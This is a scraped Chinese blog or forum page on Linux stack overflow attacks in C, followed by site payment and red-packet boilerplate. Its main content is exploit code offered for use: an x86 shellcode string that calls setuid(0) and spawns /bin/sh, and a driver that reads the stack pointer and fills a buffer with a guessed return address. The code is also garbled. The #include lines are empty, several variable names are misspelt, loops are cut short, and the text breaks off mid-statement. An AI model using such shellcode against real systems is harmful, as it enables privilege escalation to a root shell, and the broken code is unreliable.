栈溢出攻击c语言_linux漏洞攻击。使用漏洞攻击代码进行栈溢出漏洞攻击

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

下面给出源代码:

#include

#include

#include

#include

char shellcode[] =

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff\bin\sh";unsigned long get_sp(void){ __asm__("movl %esp, %eax“);}int main(int argc, char *argv[1]) { int i, offset = 0; unsigned int esp, ret, *addr_prt; char *buffer, *prt; int size = 500;

esp = get_sp(); if(argc > 1) size = atoi(argv[1]); if(argc > 2) offset = atoi(argb[2]); if(argc > 3) esp = strtoul(argv[3],NULL,0); ret = esp - offset;

\n", argv[0]); fprintf(stderr,"ESP:0x%x offset:0x%x Return:0x%x\n",exp,offset,ret); buffer = (char *)malloc(size); ptr = buffer; addr_ptr = (unsigned int *) ptr; for(i=0; i < size; i+=4){ *(addr_ptr++) = ret; } for(i=0; i

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值